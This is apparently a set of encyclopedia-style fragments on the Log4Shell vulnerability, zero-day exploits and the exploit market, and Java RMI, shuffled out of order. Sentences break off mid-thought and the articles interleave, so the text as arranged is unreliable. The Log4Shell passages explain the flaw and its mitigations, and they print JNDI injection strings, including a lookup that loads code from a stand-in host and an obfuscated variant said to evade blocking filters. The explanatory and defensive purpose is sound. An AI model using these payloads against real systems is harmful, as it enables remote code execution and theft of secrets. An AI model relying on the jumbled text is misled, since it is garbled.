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58-609: Log4Shell ( CVE-2021-44228 ) is a zero-day vulnerability reported in November 2021 in Log4j , a popular Java logging framework , involving arbitrary code execution . The vulnerability had existed unnoticed since 2013 and was privately disclosed to the Apache Software Foundation , of which Log4j is a project, by Chen Zhaojun of Alibaba Cloud 's security team on 24 November 2021. Before an official CVE identifier

116-591: A "foothold" to cybercriminals, who finally go on to engage in ransomware attacks, espionage and destroying data. Amit Yoran , CEO of Tenable and the founding director of the United States Computer Emergency Readiness Team , stated "[Log4Shell] is by far the single biggest, most critical vulnerability ever", noting that sophisticated attacks were beginning shortly after the bug, saying "We're also already seeing it leveraged for ransomware attacks, which, again, should be

174-402: A White House meeting, the importance of security maintenance of open-source software – often also carried out largely by few volunteers – to national security was clarified. While some open-source projects have many eyes on them , others do not have many or any people ensuring their security. Germany's Bundesamt für Sicherheit in der Informationstechnik (BSI) designated the exploit as being at

232-410: A bug creates a security risk, it is called a vulnerability . Vulnerabilities vary in their ability to be exploited by malicious actors. Some are not usable at all, while others can be used to disrupt the device with a denial of service attack . The most valuable allow the attacker to inject and run their own code, without the user being aware of it. Although the term "zero-day" initially referred to

290-406: A contractor didn’t take him far enough into the government’s systems for the intel required, or some of the government’s sources and methods for acquiring zero-days were so confidential, or controversial, that the agency never dared put them in writing". Java remote method invocation The Java Remote Method Invocation ( Java RMI ) is a Java API that performs remote method invocation ,

348-454: A difficult-to-exploit remote code execution vulnerability, tracked as CVE-2021-44832 and fixed in 2.17.1. For previous versions, the class org.apache.logging.log4j.core.lookup.JndiLookup needs to be removed from the classpath to mitigate both vulnerabilities. An early recommended fix for older versions was to set the system property log4j2.formatMsgNoLookups to true , but this change does not prevent exploitation of CVE-2021-45046 and

406-445: A major alarm bell ... We've also seen reports of attackers using Log4Shell to destroy systems without even looking to collect ransom, a fairly unusual behavior". Sophos 's senior threat researcher Sean Gallagher said, "Honestly, the biggest threat here is that people have already gotten access and are just sitting on it, and even if you remediate the problem somebody's already in the network ... It's going to be around as long as

464-455: A more advanced version of RMI in Java. It functions similarly but provides more advanced security, object discovery capabilities, and other mechanisms for distributed object applications. The following classes implement a simple client-server program using RMI that displays a message. Before running this example, we need to make a 'stub' file for the interface we used. For this task we have

522-506: A non-JVM context, programmers later developed a CORBA version. Usage of the term RMI may denote solely the programming interface or may signify both the API and JRMP, IIOP , or another implementation, whereas the term RMI-IIOP (read: RMI over IIOP ) specifically denotes the RMI interface delegating most of the functionality to the supporting CORBA implementation. The basic idea of Java RMI,

580-458: A patch due to discontinued manufacturer support. As of 14 December 2021, almost half of all corporate networks globally have been actively probed, with over 60 variants of the exploit having been produced within 24 hours. Check Point Software Technologies in a detailed analysis described the situation as being "a true cyber-pandemic" and characterizing the potential for damage as being "incalculable". Several initial advisories exaggerated

638-597: A path to their data. JNDI can use several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet. In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of

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696-590: A server or other computer, or leak sensitive information. A list of its affected software projects has been published by the Apache Security Team . Affected commercial services include Amazon Web Services , Cloudflare , iCloud , Minecraft: Java Edition , Steam , Tencent QQ and many others. According to Wiz and EY , the vulnerability affected 93% of enterprise cloud environments. The vulnerability's disclosure received strong reactions from cybersecurity experts. Cybersecurity company Tenable said

754-504: A string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables —by placing them in the URL, in which case they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI),

812-488: A system that is effective at detecting zero-day exploits, this remains an active area of research in 2023. Many organizations have adopted defense-in-depth tactics so that attacks are likely to require breaching multiple levels of security, which makes it more difficult to achieve. Conventional cybersecurity measures such as training and access control such as multifactor authentication , least-privilege access , and air-gapping makes it harder to compromise systems with

870-548: A variety of constraints such as lack of resources or third-party managed solutions, filtering outbound network traffic from vulnerable deployments has been the primary recourse for many. The approach is recommended by NCC Group and the National Cyber Security Centre (United Kingdom) , and is an example of a defense in depth measure. The effectiveness of such filtering is evidenced by laboratory experiments conducted with firewalls capable of intercepting

928-737: A zero-day exploit. Since writing perfectly secure software is impossible, some researchers argue that driving up the cost of exploits is a good strategy to reduce the burden of cyberattacks. Zero-day exploits can fetch millions of dollars. There are three main types of buyers: In 2015, the markets for government and crime were estimated at at least ten times larger than the white market. Sellers are often hacker groups that seek out vulnerabilities in widely used software for financial reward. Some will only sell to certain buyers, while others will sell to anyone. White market sellers are more likely to be motivated by non pecuniary rewards such as recognition and intellectual challenge. Selling zero day exploits

986-418: Is a living vulnerability; such vulnerabilities in unmaintained software are called immortal. Zombie vulnerabilities can be exploited in older versions of the software but have been patched in newer versions. Even publicly known and zombie vulnerabilities are often exploitable for an extended period. Security patches can take months to develop, or may never be developed. A patch can have negative effects on

1044-661: Is an ongoing debate as to whether the United States should disclose the vulnerabilities it is aware of, so that they can be patched, or keep them secret for its own use. Reasons that states keep an vulnerability secret include wanting to use it offensively, or defensively in penetration testing . Disclosing the vulnerability reduces the risk that consumers and all users of the software will be victimized by malware or data breaches . Zero-day exploits increased in significance after services such as Apple, Google, Facebook, and Microsoft encrypted servers and messages, meaning that

1102-433: Is known about the true extent, use, benefit, and harm of zero-day exploits". Exploits based on zero-day vulnerabilities are considered more dangerous than those that take advantage of a known vulnerability. However, it is likely that most cyberattacks use known vulnerabilities, not zero-days. States are the primary users of zero-day exploits, not only because of the high cost of finding or buying vulnerabilities, but also

1160-471: Is legal. Despite calls for more regulation, law professor Mailyn Fidler says there is little chance of an international agreement because key players such as Russia and Israel are not interested. The sellers and buyers that trade in zero-days tend to be secretive, relying on non-disclosure agreements and classified information laws to keep the exploits secret. If the vulnerability becomes known, it can be patched and its value consequently crashes. Because

1218-634: Is used ubiquitously in Java applications, especially enterprise software. Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of the Apache Software Foundation . Tom Kellermann, a member of President Obama 's Commission on Cyber Security, described Apache as "one of the giant supports of a bridge that facilitates the connective tissue between the worlds of applications and computer environments". The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given

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1276-650: The Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP). Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header , such as User-Agent . Early mitigations included blocking any requests containing potentially malicious contents, such as $ {jndi . Such basic string matching solutions can be circumvented by obfuscating

1334-522: The dark web . Research published in 2022 based on maximum prices paid as quoted by a single exploit broker found a 44 percent annualized inflation rate in exploit pricing. Remote zero-click exploits could fetch the highest price, while those that require local access to the device are much cheaper. Vulnerabilities in widely used software are also more expensive. They estimated that around 400 to 1,500 people sold exploits to that broker and they made around $ 5,500 to $ 20,800 annually. As of 2017 , there

1392-459: The Internet." According to a Bloomberg News report, some anger was directed at Apache's developers at their failure to fix the vulnerability after warnings about exploits of broad classes of software, including Log4j, were made at a 2016 cybersecurity conference. Zero-day (computing) Despite developers' goal of delivering a product that works entirely as intended, virtually all software and hardware contains bugs. Many of these impair

1450-468: The RMI compiler - 'rmic' Note that since version 5.0 of J2SE support for dynamically generated stub files has been added, and rmic is only provided for backwards compatibility with earlier runtimes, or for programs that don't provide an explicit port number (or zero) when exporting remote objects, which is required for generated stubs to be possible, as described in the Javadoc for UnicastRemoteObject. See

1508-496: The RMI interface. Still, the RMI-IIOP and JRMP implementations do not have fully identical interfaces. RMI functionality comes in the package java.rmi , while most of Sun's implementation is located in the sun.rmi package. Note that with Java versions before Java 5.0 developers had to compile RMI stubs in a separate compilation step using rmic . Version 5.0 of Java and beyond no longer require this step. Jini offers

1566-518: The agency's highest threat level, calling it an "extremely critical threat situation" (translated). It also reported that several attacks were already successful and that the extent of the exploit remained hard to assess. The Netherlands's National Cyber Security Centre (NCSC) began an ongoing list of vulnerable applications. The Canadian Centre for Cyber Security (CCCS) called on organizations to take immediate action. The Canada Revenue Agency temporarily shut down its online services after learning of

1624-533: The amount of packages that were vulnerable, leading to false positives. Most notably, the "log4j-api" package was marked as vulnerable, while in reality further research showed that only the main "log4j-core" package was vulnerable. This was confirmed both in the original issue thread and by external security researchers. Technology magazine Wired wrote that despite the previous "hype" surrounding multiple vulnerabilities, "the Log4j vulnerability   ... lives up to

1682-457: The days following the vulnerability's disclosure, Check Point observed millions of attacks being initiated by hackers, with some researchers observing a rate of over one hundred attacks per minute that ultimately resulted with attempted attacks on over 40% of business networks internationally. According to Cloudflare CEO Matthew Prince , evidence of exploitation of or scanning for the exploit goes back as early as 1 December, nine days before it

1740-423: The distributed garbage-collection (DGC) protocol, and much of the architecture underlying the original Sun implementation, come from the "network objects" feature of Modula-3 . The programmers of the original RMI API generalized the code somewhat to support different implementations, such as a HTTP transport. Additionally, the ability to pass arguments " by value " was added to CORBA in order to be compatible with

1798-447: The egress traffic with several wholly or partially vulnerable versions of the library itself and the JRE . The exploit allows hackers to gain control of vulnerable devices using Java. Some hackers employ the vulnerability to use victims' devices for cryptocurrency mining , creating botnets , sending spam, establishing backdoors and other illegal activities such as ransomware attacks. In

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1856-508: The exploit according to Check Point, but it is not known if the exploit was used by Israel, Russia or the United States prior to the disclosure of the vulnerability. Check Point said that on 15 December 2021, Iran-backed hackers attempted to infiltrate the networks of Israeli businesses and government institutions. In the United States, the director of the Cybersecurity and Infrastructure Security Agency (CISA), Jen Easterly , described

1914-559: The exploit as "one of the most serious I've seen in my entire career, if not the most serious", explaining that hundreds of millions of devices were affected and advising vendors to prioritize software updates. Civilian agencies contracted by the United States government had until 24 December 2021 to patch vulnerabilities. On 4 January, the Federal Trade Commission (FTC) stated its intent to pursue companies that fail to take reasonable steps to update used Log4j software. In

1972-408: The exploit was "the single biggest, most critical vulnerability ever," Ars Technica called it "arguably the most severe vulnerability ever" and The Washington Post said that descriptions by security professionals "border on the apocalyptic." Log4j is an open-source logging framework that allows software developers to log data within their applications. This data can include user input. It

2030-462: The exploit, while the Government of Quebec closed almost 4,000 of its websites as a "preventative measure." The Belgian Ministry of Defence experienced a breach attempt and was forced to shut down part of its network. The Chinese Ministry of Industry and Information Technology suspended work with Alibaba Cloud as a cybersecurity threat intelligence partner for six months for failing to report

2088-417: The form $ {prefix:name} . For example, Text: $ {java:version} might be converted to Text: Java version 1.7.0_67 . Among the recognized expressions is $ {jndi:<lookup>} ; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. $ {jndi:ldap://example.com/file} , for example, will load data from that URL if connected to the Internet. By inputting

2146-417: The functionality of software and users may need to test the patch to confirm functionality and compatibility. Larger organizations may fail to identify and patch all dependencies, while smaller enterprises and personal users may not install patches. Research suggests that risk of cyberattack increases if the vulnerability is made publicly known or a patch is released. Cybercriminals can reverse engineer

2204-441: The hype for a host of reasons". The magazine explains that the pervasiveness of Log4j, the vulnerability being difficult to detect by potential targets and the ease of transmitting code to victims created a "combination of severity, simplicity, and pervasiveness that has the security community rattled". Wired also outlined stages of hackers using Log4Shell; cryptomining groups first using the vulnerability, data brokers then selling

2262-427: The incident, though analyst Allan Liska from cybersecurity company Recorded Future said there was possibly a connection. As larger companies began to release patches for the exploit, the risk for small businesses increased as hackers focused on more vulnerable targets. Some personal devices connected to the Internet, such as smart TVs and security cameras, were vulnerable to the exploit. Some software may never get

2320-456: The life expectancy of a zero-day vulnerability. Although the RAND researchers found that 5.7 percent of a stockpile of secret zero-day vulnerabilities will have been discovered by someone else within a year, another study found a higher overlap rate, as high as 10.8 percent to 21.9 percent per year. Because, by definition, there is no patch that can block a zero-day exploit, all systems employing

2378-439: The market lacks transparency, it can be hard for parties to find a fair price. Sellers might not be paid if the vulnerability was disclosed before it was verified, or if the buyer declined to purchase it but used it anyway. With the proliferation of middlemen, sellers could never know to what use the exploits could be put. Buyers could not guarantee that the exploit was not sold to another party. Both buyers and sellers advertise on

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2436-469: The object-oriented equivalent of remote procedure calls (RPC), with support for direct transfer of serialized Java classes and distributed garbage-collection . The original implementation depends on Java Virtual Machine (JVM) class-representation mechanisms and it thus only supports making calls from one JVM to another. The protocol underlying this Java-only implementation is known as Java Remote Method Protocol (JRMP). In order to support code running in

2494-574: The only way to access a user's data was to intercept it at the source before it was encrypted. One of the best-known use of zero-day exploits was the Stuxnet worm, which used four zero-day vulnerabilities to damage Iran's nuclear program in 2010. The worm showed what could be achieved by zero-day exploits, unleashing an expansion in the market. The United States National Security Agency (NSA) increased its search for zero-day vulnerabilities after large tech companies refused to install backdoors into

2552-464: The patch to find the underlying vulnerability and develop exploits, often faster than users install the patch. According to research by RAND Corporation published in 2017, zero-day exploits remain usable for 6.9 years on average, although those purchased from a third party only remain usable for 1.4 years on average. The researchers were unable to determine if any particular platform or software (such as open-source software ) had any relationship to

2610-463: The request: $ {$ {lower:j}ndi , for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j . Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed. Fixes for this vulnerability were released on 6 December 2021, three days before the vulnerability was published, in Log4j version 2.15.0-rc1. The fix included restricting

2668-509: The security of the system and are thus vulnerabilities. Although the basis of only a minority of cyberattacks, zero-days are considered more dangerous than known vulnerabilities because there are fewer countermeasures possible. States are the primary users of zero-day vulnerabilities, not only because of the high cost of finding or buying them, but also the significant cost of writing the attack software. Many vulnerabilities are discovered by hackers or security researchers, who may disclose them to

2726-428: The servers and protocols that may be used for lookups. Researchers discovered a related bug, CVE-2021-45046, that allows local or remote code execution in certain non-default configurations and was fixed in version 2.16.0, which disabled all features using JNDI and support for message lookups. Two more vulnerabilities in the library were found: a denial-of-service attack , tracked as CVE-2021-45105 and fixed in 2.17.0; and

2784-471: The significant cost of writing the attack software. Nevertheless, anyone can use a vulnerability, and according to research by the RAND Corporation , "any serious attacker can always get an affordable zero-day for almost any target". Many targeted attacks and most advanced persistent threats rely on zero-day vulnerabilities. The average time to develop an exploit from a zero-day vulnerability

2842-467: The software or hardware with the vulnerability are at risk. This includes secure systems such as banks and governments that have all patches up to date. Antivirus software is often ineffective against the malware introduced by zero-day exploits. Security systems are designed around known vulnerabilities, and malware inserted by a zero-day exploit could continue to operate undetected for an extended period of time. Although there have been many proposals for

2900-624: The software, tasking the Tailored Access Operations (TAO) with discovering and purchasing zero-day exploits. In 2007, former NSA employee Charlie Miller publicly revealed for the first time that the United States government was buying zero-day exploits. Some information about the NSA involvement with zero-days was revealed in the documents leaked by NSA contractor Edward Snowden in 2013, but details were lacking. Reporter Nicole Perlroth concluded that "either Snowden’s access as

2958-542: The time since the vendor had become aware of the vulnerability, zero-day vulnerabilities can also be defined as the subset of vulnerabilities for which no patch or other fix is available. A zero-day exploit is any exploit that takes advantage of such a vulnerability. An exploit is the delivery mechanism that takes advantage of the vulnerability to penetrate the target's systems, for such purposes as disrupting operations, installing malware , or exfiltrating data . Researchers Lillian Ablon and Andy Bogart write that "little

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3016-454: The vendor (often in exchange for a bug bounty ) or sell them to states or criminal groups. The use of zero-days increased after many popular software companies began to encrypt messages and data, meaning that the unencrypted data could only be obtained by hacking into the software before it was encrypted. Despite developers' goal of delivering a product that works entirely as intended, virtually all software and hardware contain bugs. If

3074-465: The vulnerability to the government first. Research conducted by Wiz and EY showed that 93% of the cloud enterprise environment were vulnerable to Log4Shell. 7% of vulnerable workloads are exposed to the Internet and prone to wide exploitation attempts. According to the research, ten days after vulnerability disclosure (20 December 2021) only 45% of vulnerable workloads were patched on average in cloud environments. Amazon, Google and Microsoft cloud data

3132-479: Was affected by Log4Shell. Microsoft asked Windows and Azure customers to remain vigilant after observing state-sponsored and cyber-criminal attackers probing systems for the Log4j 'Log4Shell' flaw through December 2021. The human resource management and workforce management company UKG , one of the largest businesses in the industry, was targeted by a ransomware attack that affected large businesses. UKG said it did not have evidence of Log4Shell being exploited in

3190-421: Was estimated at 22 days. The difficulty of developing exploits has been increasing over time due to increased anti-exploitation features in popular software. Zero-day vulnerabilities are often classified as alive—meaning that there is no public knowledge of the vulnerability—and dead—the vulnerability has been disclosed, but not patched. If the software's maintainers are actively searching for vulnerabilities, it

3248-533: Was later found to not disable message lookups in certain cases. Newer versions of the Java Runtime Environment (JRE) also mitigate this vulnerability by blocking remote code from being loaded by default, although other attack vectors still exist in certain applications. Several methods and tools have been published that help detect vulnerable Log4j versions used in built Java packages. Where applying updated versions has not been possible, due to

3306-606: Was made available on 10 December 2021, the vulnerability circulated with the name "Log4Shell", given by Free Wortley of the LunaSec team, which was initially used to track the issue online. Apache gave Log4Shell a CVSS severity rating of 10, the highest available score. The exploit was simple to execute and is estimated to have had the potential to affect hundreds of millions of devices. The vulnerability takes advantage of Log4j's allowing requests to arbitrary LDAP and JNDI servers, allowing attackers to execute arbitrary Java code on

3364-544: Was publicly disclosed. According to cybersecurity firm GreyNoise, several IP addresses were scraping websites to check for servers that had the vulnerability. Several botnets began scanning for the vulnerability, including the Muhstik botnet by 10 December, as well as Mirai and Tsunami. Ransomware group Conti was observed using the vulnerability on 17 December. Some state-sponsored groups in China and Iran also utilized

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